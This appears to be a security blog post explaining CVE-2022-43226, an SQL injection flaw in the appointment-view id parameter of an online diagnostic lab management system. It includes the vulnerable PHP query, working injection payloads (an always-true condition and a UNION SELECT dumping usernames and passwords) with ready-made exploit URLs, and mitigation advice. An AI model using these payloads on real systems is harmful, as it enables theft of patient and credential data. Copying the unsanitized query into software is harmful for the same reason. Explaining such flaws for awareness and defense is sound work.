In today’s digital world, healthcare systems are increasingly going online. Platforms like the Online Diagnostic Lab Management System (ODLMS) v1. help clinics and labs manage patient appointments, tests, and reports. But when these systems are not developed securely, they can be vulnerable to attacks, potentially leaking sensitive personal and medical data.

Recently, a critical security flaw, tracked as CVE-2022-43226, was discovered in ODLMS v1.. This vulnerability allows an attacker to easily compromise the system using a classic technique called SQL Injection.

In this post, we’ll explain how the bug works, provide exploitable code snippets, walk through the real attack scenario, and give tips to stay protected.

What is CVE-2022-43226?

CVE-2022-43226 is an SQL Injection vulnerability in the Online Diagnostic Lab Management System v1.. It was publicly disclosed at the end of 2022.

The root cause? Failing to sanitize user input in the system's web interface, specifically in the id parameter on the appointment viewing page:  

/odlms/?page=appointments/view_appointment&id=

If an attacker sends special SQL code instead of a normal number as the id value, they can trick the system into running unintended database commands.

Where’s the Vulnerability?

During normal use, when a lab worker wants to view a patient’s appointment detail, they’re sent to a URL like:

http://example.com/odlms/?page=appointments/view_appointment&id=5

But the code behind this page takes the user-supplied id and inserts it directly into an SQL statement without any cleaning or validation.

The code might look like this

<?php
$id = $_GET['id'];
$sql = "SELECT * FROM appointments WHERE id = $id";
$result = mysqli_query($conn, $sql);

Notice how $id is not sanitized or parameterized. An attacker can exploit this by changing the URL

http://example.com/odlms/?page=appointments/view_appointment&id=5 OR 1=1

Exploitation: How Attackers Abuse This

SQL Injection happens when user input is directly mixed into an SQL query. Attackers can manipulate queries to view, modify, or completely destroy your data.

Let’s try passing in a malicious id value

5 OR 1=1

So the SQL statement becomes

SELECT * FROM appointments WHERE id = 5 OR 1=1

Because 1=1 is always true, the query returns all records — not just the one with id=5.

Retrieving Sensitive Info

Attackers can get fancier and extract data from other database tables. Here’s an example payload that dumps the first user’s username and password from the “users” table:

id=1 UNION SELECT 1,username,password,4 FROM users LIMIT 1

This would change the query to

SELECT * FROM appointments WHERE id = 1 UNION SELECT 1,username,password,4 FROM users LIMIT 1

Depending on how results are displayed, this might leak a username and password hash on the page.

Find the Vulnerable Parameter:

The id parameter at /odlms/?page=appointments/view_appointment.

`

/odlms/?page=appointments/view_appointment&id=5'

`

/odlms/?page=appointments/view_appointment&id= OR 1=1
  /odlms/?page=appointments/view_appointment&id=1 UNION SELECT 1,username,password,4 FROM users LIMIT 1

References

- Original CVE entry - CVE-2022-43226
- Exploit details on Exploit-DB
- CVE post on GitHub

Conclusion

CVE-2022-43226 shows how skipping basic security in web apps like the ODLMS can put patient data at risk. If you’re building or maintaining web-based medical software, always sanitize user input, use prepared statements, and stay alert for vulnerabilities. Don’t let a simple mistake open the door for hackers to your patients’ most private information.

Stay safe, audit your code, and keep learning about web security!

*This post is for educational and awareness purposes only. Do not use this information for malicious actions.*

Timeline

Published on: 11/02/2022 17:15:00 UTC
Last modified on: 11/03/2022 03:35:00 UTC